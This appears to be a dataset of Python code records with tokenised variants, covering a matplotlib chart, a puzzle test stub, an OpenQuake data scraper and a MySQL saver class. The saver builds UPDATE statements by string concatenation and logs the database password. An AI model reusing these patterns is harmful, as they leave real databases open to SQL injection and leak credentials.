alpha=0.9)\np_anns = ax.bar(x, anns, width, alpha=0.9, color='red')\np_adaboost = ax.bar(x + width, adaboost, width, alpha=0.9, color='green')\nax.set_xticks(x + width / 2)\nax.set_xticklabels(x_axis)\nplt.legend((p_rf[0], p_anns[0], p_adaboost[0]), ('RF', 'ANNs', 'AdaBoost'),\n loc='best', fontsize=20)\nplt.xticks(fontsize=18)\nplt.yticks(fontsize=18)\nplt.ylim(150, 200)\nplt.xlabel('训练集大小(%)', fontsize=20)\nplt.ylabel('MAE(s)', fontsize=20)\nplt.show()\n", "<import token>\nplt.rcParams['savefig.dpi'] = 300\nplt.rcParams['figure.dpi'] = 300\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nx_axis = [20, 40, 60, 80, 100]\nrf = [184, 174, 166, 159, 157.5]\nanns = [186, 179, 170, 164, 161]\nadaboost = [187.5, 176, 172, 163, 162]\nx = np.arange(len(x_axis))\nwidth = 0.2\nfig, ax = plt.subplots()\np_rf = ax.bar(x - width, rf, width, alpha=0.9)\np_anns = ax.bar(x, anns, width, alpha=0.9, color='red')\np_adaboost = ax.bar(x + width, adaboost, width, alpha=0.9, color='green')\nax.set_xticks(x + width / 2)\nax.set_xticklabels(x_axis)\nplt.legend((p_rf[0], p_anns[0], p_adaboost[0]), ('RF', 'ANNs', 'AdaBoost'),\n loc='best', fontsize=20)\nplt.xticks(fontsize=18)\nplt.yticks(fontsize=18)\nplt.ylim(150, 200)\nplt.xlabel('训练集大小(%)', fontsize=20)\nplt.ylabel('MAE(s)', fontsize=20)\nplt.show()\n", "<import token>\n<assignment token>\nax.set_xticks(x + width / 2)\nax.set_xticklabels(x_axis)\nplt.legend((p_rf[0], p_anns[0], p_adaboost[0]), ('RF', 'ANNs', 'AdaBoost'),\n loc='best', fontsize=20)\nplt.xticks(fontsize=18)\nplt.yticks(fontsize=18)\nplt.ylim(150, 200)\nplt.xlabel('训练集大小(%)', fontsize=20)\nplt.ylabel('MAE(s)', fontsize=20)\nplt.show()\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
419
cb08b95e3b9c80fb74d4415b3798ddbb36cd76e7
import unittest """ Find the largest 0 to 9 pandigital that can be formed by concatenating products Take the number 6 and multiply it by each of 1273 and 9854: 6 × 1273 = 7638 6 × 9854 = 59124 By concatenating these products we get the 1 to 9 pandigital 763859124. We will call 763859124 the "concatenated product of 6 and (1273,9854)". Notice too, that the concatenation of the input numbers, 612739854, is also 1 to 9 pandigital. The same can be done for 0 to 9 pandigital numbers. What is the largest 0 to 9 pandigital 10-digit concatenated product of an integer with two or more other integers, such that the concatenation of the input numbers is also a 0 to 9 pandigital 10-digit number? """ class Test(unittest.TestCase): def test(self): pass
[ "import unittest\n\n\"\"\"\nFind the largest 0 to 9 pandigital that can be formed by concatenating products\n\nTake the number 6 and multiply it by each of 1273 and 9854:\n6 × 1273 = 7638\n6 × 9854 = 59124\nBy concatenating these products we get the 1 to 9 pandigital 763859124. We will call 763859124 the \"concatenated product of 6 and (1273,9854)\". Notice too, that the concatenation of the input numbers, 612739854, is also 1 to 9 pandigital.\nThe same can be done for 0 to 9 pandigital numbers.\nWhat is the largest 0 to 9 pandigital 10-digit concatenated product of an integer with two or more other integers, such that the concatenation of the input numbers is also a 0 to 9 pandigital 10-digit number?\n\"\"\"\n\n\nclass Test(unittest.TestCase):\n def test(self):\n pass\n", "import unittest\n<docstring token>\n\n\nclass Test(unittest.TestCase):\n\n def test(self):\n pass\n", "<import token>\n<docstring token>\n\n\nclass Test(unittest.TestCase):\n\n def test(self):\n pass\n", "<import token>\n<docstring token>\n\n\nclass Test(unittest.TestCase):\n <function token>\n", "<import token>\n<docstring token>\n<class token>\n" ]
false
420
63a40282f16a7f27c118594f1a9468749682594f
import requests import os from jpmesh import parse_mesh_code from tqdm import tqdm url_login='https://platform.openquake.org/account/login/' client = requests.session() client.get(url_login) # Identification for openquake platform login_data = {'username':'###','password':'###'} r1=client.post(url_login,data=login_data) def scrap_expo(): dir_names=os.listdir('Site Effects/') for name in dir_names: fcode = name.split('-')[-1] mesh = parse_mesh_code(fcode) sw = mesh.south_west ne = sw+ mesh.size lng1 = str(sw.lon.degree) lng2 = str(ne.lon.degree) lat1 = str(ne.lat.degree) lat2 = str(sw.lat.degree) for occ in ['residential', 'non-residential']: url_add_run='http://platform.openquake.org/exposure/export_exposure?output_type=csv&sr_id=113&occupancy_filter='+occ+'&lng1='+lng1+'&lat1='+lat1+'&lng2='+lng2+'&lat2='+lat2 output = open('Exposure/'+occ+'/'+fcode+'.csv', 'wb') print(fcode) r2=client.get(url_add_run, stream=True) for data in tqdm(r2.iter_content()): output.write(data) output.close() print(r2.status_code) def scrap_consequences(): eq_code = str(134) url_add_run = 'https://platform.openquake.org/ecd/eventoverview/' + eq_code + '?&zoomtoextent=True&f_b=False&f_c=False&f_i=False&f_p=False&f_s=False&all=True' file_name = 'Consequences/' + eq_code + '.txt' output = open(file_name, 'wb') print client r2 = client.get(url_add_run, stream=True) print r2.status_code for data in tqdm(r2.iter_content()): print data output.write(data) output.close() data = open(file_name).readlines() print data.split('') # scrap_consequences()
[ "import requests\nimport os\nfrom jpmesh import parse_mesh_code\nfrom tqdm import tqdm\n\nurl_login='https://platform.openquake.org/account/login/'\nclient = requests.session()\nclient.get(url_login)\n# Identification for openquake platform\nlogin_data = {'username':'###','password':'###'}\nr1=client.post(url_login,data=login_data)\ndef scrap_expo():\n dir_names=os.listdir('Site Effects/')\n for name in dir_names:\n fcode = name.split('-')[-1]\n mesh = parse_mesh_code(fcode)\n sw = mesh.south_west\n ne = sw+ mesh.size\n lng1 = str(sw.lon.degree)\n lng2 = str(ne.lon.degree)\n lat1 = str(ne.lat.degree)\n lat2 = str(sw.lat.degree)\n for occ in ['residential', 'non-residential']:\n url_add_run='http://platform.openquake.org/exposure/export_exposure?output_type=csv&sr_id=113&occupancy_filter='+occ+'&lng1='+lng1+'&lat1='+lat1+'&lng2='+lng2+'&lat2='+lat2\n output = open('Exposure/'+occ+'/'+fcode+'.csv', 'wb')\n print(fcode)\n r2=client.get(url_add_run, stream=True)\n for data in tqdm(r2.iter_content()):\n output.write(data)\n output.close()\n print(r2.status_code)\n\n\ndef scrap_consequences():\n eq_code = str(134)\n url_add_run = 'https://platform.openquake.org/ecd/eventoverview/' + eq_code + '?&zoomtoextent=True&f_b=False&f_c=False&f_i=False&f_p=False&f_s=False&all=True'\n file_name = 'Consequences/' + eq_code + '.txt'\n output = open(file_name, 'wb')\n print client\n r2 = client.get(url_add_run, stream=True)\n print r2.status_code\n for data in tqdm(r2.iter_content()):\n print data\n output.write(data)\n output.close()\n data = open(file_name).readlines()\n print data.split('')\n\n# scrap_consequences()" ]
true
421
e695b9458c0e98521e560dbb291f6f05bda1549f
from savers.saver import SaverInterface import os from config import SaverConfig import mysql.connector import json import logging class SQLSaver(SaverInterface): # This class takes in json files and will interpret the jsons as follows. # {'tablename':[{'columnname01':'somevalue','columnname02':'somevalue'},{'columnaname02':'somevalue'}]} def connect(self): self.logging.info("Logging to %s@%s:%s -p %s", self.config.SQL_USER, self.config.SQL_HOST, self.config.SQL_DATABASE, self.config.SQL_PASSWD) self.db = mysql.connector.connect(host=self.config.SQL_HOST, user=self.config.SQL_USER, passwd=self.config.SQL_PASSWD, database=self.config.SQL_DATABASE, auth_plugin='mysql_native_password') self.logging.info("Log in is successful") def executesql(self, sqlstatement): self.logging.debug("Executing %s", sqlstatement) cursor=self.db.cursor() cursor.execute(sqlstatement) self.db.commit() rowcount=cursor.rowcount cursor.close() return rowcount def executesqlupdate(self,sqlstatement): try: self.logging.debug("Executing %s ", sqlstatement) cursor=self.db.cursor() cursor.execute(sqlstatement) self.db.commit() rowcount=cursor.rowcount cursor.close() except Exception as e: self.logging.error("Problem executing SQL: %s", str(e)) def executesql(self, sqlstatement, data): try: self.logging.debug("Executing %s with data as follows %s", sqlstatement, data) cursor=self.db.cursor() cursor.execute(sqlstatement, data) self.db.commit() rowcount=cursor.rowcount cursor.close() except Exception as e: self.logging.error("Problem executing SQL: %s", str(e)) rowcount=0 return rowcount def querysql(self,sqlstatement): print("Statements to execute\n",sqlstatement) cursor=self.db.cursor() cursor.execute(sqlstatement) records = cursor.fetchall() cursor.close() return records def __init__(self,config=None): if config == None: self.config = SaverConfig() logging.basicConfig(level=logging.DEBUG,handlers=[ logging.FileHandler("{0}/{1}.log".format("/logs", "saverservice-sqlsaver")), logging.StreamHandler() ], format="%(asctime)-15s %(levelname)-8s %(message)s") self.logging=logging self.connect() def freequery(self, sqlstring): records=self.querysql(sqlstring) return records def create(self, jsonobject): try: self.logging.info("Starting create operations") if isinstance(jsonobject, str): self.logging.debug("data obj received is not json, manually converting") jsonobject = json.loads(jsonobject) dictkeys= jsonobject.keys() totalrowcount=0 for tablename in dictkeys: rowstoadd=jsonobject[tablename] self.logging.debug("Table: %s Rows: %s",tablename, rowstoadd) sqlstatementcolnames="" sqlstatementcolvalues="" for row in rowstoadd: print("Row:{}".format(row)) dictcolsinrow=row.keys() print("ColumnNames: {}".format(dictcolsinrow)) colCount=0 datalist=[] for col in dictcolsinrow: self.logging.debug("Col:%s,Val:%s",col,row[col]) if colCount==0: sqlstatementcolnames=col #sqlstatementcolvalues="\'"+str(row[col])+"\'" sqlstatementcolvalues="%s" datalist.append(str(row[col])) else: sqlstatementcolnames=sqlstatementcolnames+','+col #sqlstatementcolvalues=sqlstatementcolvalues+','+"\'"+str(row[col])+"\'" sqlstatementcolvalues=sqlstatementcolvalues+",%s" datalist.append(str(row[col])) colCount=colCount+1 sqlstatement="INSERT INTO " + tablename + "(" + sqlstatementcolnames + ") VALUES (" + sqlstatementcolvalues + ")" rowcount=self.executesql(sqlstatement, datalist) totalrowcount=totalrowcount+rowcount except Exception as e: totalrowcount=0 return totalrowcount def update(self,jsonobject): #Expects the following json #{"tablename":[ #{"row": #{"data":{"columnname02":"01value","columnname02":"02value"},"condition":{"columnname03":"03value"}}}, #{"row": #{"data":{"columnname04":"04value","columnname05":"05value"},"condition":{"columnname06":"06value"}}} #]} dictkeys= (jsonobject.keys()) print("Dict keys:",dictkeys) sqlstatements=[] for tablename in dictkeys: rowstoupdate=jsonobject[tablename] print("Table: {}\nRows:{}".format(tablename,rowstoupdate)) for rowtoupdate in rowstoupdate: rowdata=rowtoupdate['row']['data'] rowcondition=rowtoupdate['row']['condition'] print("ROW:\n\tRowData:{}\n\tRowCondition:{}".format(rowdata,rowcondition)) sqlstatementdata="" colCount=0 for colname in rowdata.keys(): if colCount==0: sqlstatementdata = colname+"="+"\'"+str(rowdata[colname])+"\'" else: sqlstatementdata = sqlstatementdata+","+colname+"="+"\'"+str(rowdata[colname])+"\'" colCount=colCount+1 sqlstatementcondition="" colCount=0 for colname in rowcondition.keys(): if colCount==0: sqlstatementcondition=colname+"="+"\'"+str(rowcondition[colname])+"\'" else: sqlstatementcondition=sqlstatementcondition+" AND "+ colname+"="+"\'"+str(rowcondition[colname])+"\'" colCount=colCount+1 sqlstatement="UPDATE " + tablename + " SET " + sqlstatementdata + " WHERE " + sqlstatementcondition sqlstatements.append(sqlstatement) self.executesql(sqlstatements) def setreportstatus(self,filename,status): sqlstring="UPDATE reports SET currentloc='" + status.upper() + "' WHERE filename='" + filename.lower()+"'" self.executesqlupdate(sqlstring) def get(self): super.get() def delete(self): super.delete() if __name__=="__main__": jsonobj = json.load(open("create_report.json","r")) saver = SQLSaver() saver.create(jsonobj) jsonobj=json.load(open("create_ingest.json","r")) saver.create(jsonobj) jsonobj=json.load(open("update_ingest.json","r")) saver.update(jsonobj) # rowsreportsaffected=saver.save({'reports':[{'filename':'file01.pdf','created_at':'2020-01-09 15:00:00','ingested_at':'2020-01-09 15:01:00','currentloc':'/home/shareddata'},{'filename':'file02.pdf','created_at':'2020-01-09 16:00:00','ingested_at':'2020-01-09 16:01:00','currentloc':'/home/shareddata'}]) # rowsingestsaffected=saver.save({'ingests':[{'text':'This is good weather?','section':'observation','created_at':'2020-01-02 12:33:33','ingest_id':'1','predicted_category':'DOCTRINE','annotated_category':'DOCTRINE'}]}) # rowsingestupdate=save.update({'ingests':[{'id':'1','annotated_category':'PERSONNEL'}]}) pass
[ "from savers.saver import SaverInterface\nimport os\nfrom config import SaverConfig\nimport mysql.connector\nimport json\nimport logging\nclass SQLSaver(SaverInterface):\n# This class takes in json files and will interpret the jsons as follows.\n# {'tablename':[{'columnname01':'somevalue','columnname02':'somevalue'},{'columnaname02':'somevalue'}]} \n \n def connect(self):\n self.logging.info(\"Logging to %s@%s:%s -p %s\", self.config.SQL_USER, self.config.SQL_HOST, self.config.SQL_DATABASE, self.config.SQL_PASSWD)\n self.db = mysql.connector.connect(host=self.config.SQL_HOST, user=self.config.SQL_USER, passwd=self.config.SQL_PASSWD, database=self.config.SQL_DATABASE, auth_plugin='mysql_native_password') \n self.logging.info(\"Log in is successful\")\n\n def executesql(self, sqlstatement):\n self.logging.debug(\"Executing %s\", sqlstatement)\n cursor=self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount=cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self,sqlstatement):\n try:\n self.logging.debug(\"Executing %s \", sqlstatement)\n cursor=self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount=cursor.rowcount\n cursor.close()\n\n except Exception as e:\n self.logging.error(\"Problem executing SQL: %s\", str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug(\"Executing %s with data as follows %s\", sqlstatement, data)\n cursor=self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount=cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error(\"Problem executing SQL: %s\", str(e))\n rowcount=0\n return rowcount\n \n def querysql(self,sqlstatement):\n print(\"Statements to execute\\n\",sqlstatement)\n cursor=self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self,config=None):\n if config == None:\n self.config = SaverConfig() \n logging.basicConfig(level=logging.DEBUG,handlers=[\n logging.FileHandler(\"{0}/{1}.log\".format(\"/logs\", \"saverservice-sqlsaver\")),\n logging.StreamHandler()\n ],\n format=\"%(asctime)-15s %(levelname)-8s %(message)s\")\n self.logging=logging\n self.connect()\n\n def freequery(self, sqlstring):\n records=self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info(\"Starting create operations\")\n if isinstance(jsonobject, str):\n self.logging.debug(\"data obj received is not json, manually converting\")\n jsonobject = json.loads(jsonobject)\n dictkeys= jsonobject.keys() \n totalrowcount=0 \n for tablename in dictkeys:\n rowstoadd=jsonobject[tablename]\n self.logging.debug(\"Table: %s Rows: %s\",tablename, rowstoadd)\n sqlstatementcolnames=\"\"\n sqlstatementcolvalues=\"\"\n for row in rowstoadd:\n print(\"Row:{}\".format(row))\n dictcolsinrow=row.keys()\n print(\"ColumnNames: {}\".format(dictcolsinrow))\n colCount=0\n datalist=[]\n for col in dictcolsinrow:\n self.logging.debug(\"Col:%s,Val:%s\",col,row[col])\n if colCount==0:\n sqlstatementcolnames=col\n #sqlstatementcolvalues=\"\\'\"+str(row[col])+\"\\'\"\n sqlstatementcolvalues=\"%s\"\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames=sqlstatementcolnames+','+col\n #sqlstatementcolvalues=sqlstatementcolvalues+','+\"\\'\"+str(row[col])+\"\\'\"\n sqlstatementcolvalues=sqlstatementcolvalues+\",%s\"\n datalist.append(str(row[col]))\n colCount=colCount+1\n sqlstatement=\"INSERT INTO \" + tablename + \"(\" + sqlstatementcolnames + \") VALUES (\" + sqlstatementcolvalues + \")\"\n rowcount=self.executesql(sqlstatement, datalist)\n totalrowcount=totalrowcount+rowcount\n except Exception as e:\n totalrowcount=0\n return totalrowcount\n\n def update(self,jsonobject):\n #Expects the following json\n #{\"tablename\":[\n #{\"row\":\n #{\"data\":{\"columnname02\":\"01value\",\"columnname02\":\"02value\"},\"condition\":{\"columnname03\":\"03value\"}}},\n #{\"row\":\n #{\"data\":{\"columnname04\":\"04value\",\"columnname05\":\"05value\"},\"condition\":{\"columnname06\":\"06value\"}}}\n #]}\n dictkeys= (jsonobject.keys())\n print(\"Dict keys:\",dictkeys)\n sqlstatements=[]\n for tablename in dictkeys:\n rowstoupdate=jsonobject[tablename]\n print(\"Table: {}\\nRows:{}\".format(tablename,rowstoupdate))\n for rowtoupdate in rowstoupdate:\n rowdata=rowtoupdate['row']['data']\n rowcondition=rowtoupdate['row']['condition']\n print(\"ROW:\\n\\tRowData:{}\\n\\tRowCondition:{}\".format(rowdata,rowcondition))\n sqlstatementdata=\"\"\n colCount=0\n for colname in rowdata.keys():\n if colCount==0:\n sqlstatementdata = colname+\"=\"+\"\\'\"+str(rowdata[colname])+\"\\'\"\n else:\n sqlstatementdata = sqlstatementdata+\",\"+colname+\"=\"+\"\\'\"+str(rowdata[colname])+\"\\'\"\n colCount=colCount+1\n sqlstatementcondition=\"\"\n colCount=0\n for colname in rowcondition.keys():\n if colCount==0:\n sqlstatementcondition=colname+\"=\"+\"\\'\"+str(rowcondition[colname])+\"\\'\"\n else:\n sqlstatementcondition=sqlstatementcondition+\" AND \"+ colname+\"=\"+\"\\'\"+str(rowcondition[colname])+\"\\'\"\n colCount=colCount+1\n sqlstatement=\"UPDATE \" + tablename + \" SET \" + sqlstatementdata + \" WHERE \" + sqlstatementcondition\n sqlstatements.append(sqlstatement)\n self.executesql(sqlstatements)\n\n def setreportstatus(self,filename,status):\n sqlstring=\"UPDATE reports SET currentloc='\" + status.upper() + \"' WHERE filename='\" + filename.lower()+\"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n \nif __name__==\"__main__\":\n jsonobj = json.load(open(\"create_report.json\",\"r\"))\n saver = SQLSaver()\n saver.create(jsonobj)\n jsonobj=json.load(open(\"create_ingest.json\",\"r\"))\n saver.create(jsonobj)\n\n jsonobj=json.load(open(\"update_ingest.json\",\"r\"))\n saver.update(jsonobj)\n# rowsreportsaffected=saver.save({'reports':[{'filename':'file01.pdf','created_at':'2020-01-09 15:00:00','ingested_at':'2020-01-09 15:01:00','currentloc':'/home/shareddata'},{'filename':'file02.pdf','created_at':'2020-01-09 16:00:00','ingested_at':'2020-01-09 16:01:00','currentloc':'/home/shareddata'}])\t\n# rowsingestsaffected=saver.save({'ingests':[{'text':'This is good weather?','section':'observation','created_at':'2020-01-02 12:33:33','ingest_id':'1','predicted_category':'DOCTRINE','annotated_category':'DOCTRINE'}]})\n# rowsingestupdate=save.update({'ingests':[{'id':'1','annotated_category':'PERSONNEL'}]}) \n pass\n", "from savers.saver import SaverInterface\nimport os\nfrom config import SaverConfig\nimport mysql.connector\nimport json\nimport logging\n\n\nclass SQLSaver(SaverInterface):\n\n def connect(self):\n self.logging.info('Logging to %s@%s:%s -p %s', self.config.SQL_USER,\n self.config.SQL_HOST, self.config.SQL_DATABASE, self.config.\n SQL_PASSWD)\n self.db = mysql.connector.connect(host=self.config.SQL_HOST, user=\n self.config.SQL_USER, passwd=self.config.SQL_PASSWD, database=\n self.config.SQL_DATABASE, auth_plugin='mysql_native_password')\n self.logging.info('Log in is successful')\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n\n def freequery(self, sqlstring):\n records = self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n\n def update(self, jsonobject):\n dictkeys = jsonobject.keys()\n print('Dict keys:', dictkeys)\n sqlstatements = []\n for tablename in dictkeys:\n rowstoupdate = jsonobject[tablename]\n print('Table: {}\\nRows:{}'.format(tablename, rowstoupdate))\n for rowtoupdate in rowstoupdate:\n rowdata = rowtoupdate['row']['data']\n rowcondition = rowtoupdate['row']['condition']\n print('ROW:\\n\\tRowData:{}\\n\\tRowCondition:{}'.format(\n rowdata, rowcondition))\n sqlstatementdata = ''\n colCount = 0\n for colname in rowdata.keys():\n if colCount == 0:\n sqlstatementdata = colname + '=' + \"'\" + str(rowdata\n [colname]) + \"'\"\n else:\n sqlstatementdata = (sqlstatementdata + ',' +\n colname + '=' + \"'\" + str(rowdata[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatementcondition = ''\n colCount = 0\n for colname in rowcondition.keys():\n if colCount == 0:\n sqlstatementcondition = colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\"\n else:\n sqlstatementcondition = (sqlstatementcondition +\n ' AND ' + colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatement = ('UPDATE ' + tablename + ' SET ' +\n sqlstatementdata + ' WHERE ' + sqlstatementcondition)\n sqlstatements.append(sqlstatement)\n self.executesql(sqlstatements)\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\nif __name__ == '__main__':\n jsonobj = json.load(open('create_report.json', 'r'))\n saver = SQLSaver()\n saver.create(jsonobj)\n jsonobj = json.load(open('create_ingest.json', 'r'))\n saver.create(jsonobj)\n jsonobj = json.load(open('update_ingest.json', 'r'))\n saver.update(jsonobj)\n pass\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n\n def connect(self):\n self.logging.info('Logging to %s@%s:%s -p %s', self.config.SQL_USER,\n self.config.SQL_HOST, self.config.SQL_DATABASE, self.config.\n SQL_PASSWD)\n self.db = mysql.connector.connect(host=self.config.SQL_HOST, user=\n self.config.SQL_USER, passwd=self.config.SQL_PASSWD, database=\n self.config.SQL_DATABASE, auth_plugin='mysql_native_password')\n self.logging.info('Log in is successful')\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n\n def freequery(self, sqlstring):\n records = self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n\n def update(self, jsonobject):\n dictkeys = jsonobject.keys()\n print('Dict keys:', dictkeys)\n sqlstatements = []\n for tablename in dictkeys:\n rowstoupdate = jsonobject[tablename]\n print('Table: {}\\nRows:{}'.format(tablename, rowstoupdate))\n for rowtoupdate in rowstoupdate:\n rowdata = rowtoupdate['row']['data']\n rowcondition = rowtoupdate['row']['condition']\n print('ROW:\\n\\tRowData:{}\\n\\tRowCondition:{}'.format(\n rowdata, rowcondition))\n sqlstatementdata = ''\n colCount = 0\n for colname in rowdata.keys():\n if colCount == 0:\n sqlstatementdata = colname + '=' + \"'\" + str(rowdata\n [colname]) + \"'\"\n else:\n sqlstatementdata = (sqlstatementdata + ',' +\n colname + '=' + \"'\" + str(rowdata[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatementcondition = ''\n colCount = 0\n for colname in rowcondition.keys():\n if colCount == 0:\n sqlstatementcondition = colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\"\n else:\n sqlstatementcondition = (sqlstatementcondition +\n ' AND ' + colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatement = ('UPDATE ' + tablename + ' SET ' +\n sqlstatementdata + ' WHERE ' + sqlstatementcondition)\n sqlstatements.append(sqlstatement)\n self.executesql(sqlstatements)\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\nif __name__ == '__main__':\n jsonobj = json.load(open('create_report.json', 'r'))\n saver = SQLSaver()\n saver.create(jsonobj)\n jsonobj = json.load(open('create_ingest.json', 'r'))\n saver.create(jsonobj)\n jsonobj = json.load(open('update_ingest.json', 'r'))\n saver.update(jsonobj)\n pass\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n\n def connect(self):\n self.logging.info('Logging to %s@%s:%s -p %s', self.config.SQL_USER,\n self.config.SQL_HOST, self.config.SQL_DATABASE, self.config.\n SQL_PASSWD)\n self.db = mysql.connector.connect(host=self.config.SQL_HOST, user=\n self.config.SQL_USER, passwd=self.config.SQL_PASSWD, database=\n self.config.SQL_DATABASE, auth_plugin='mysql_native_password')\n self.logging.info('Log in is successful')\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n 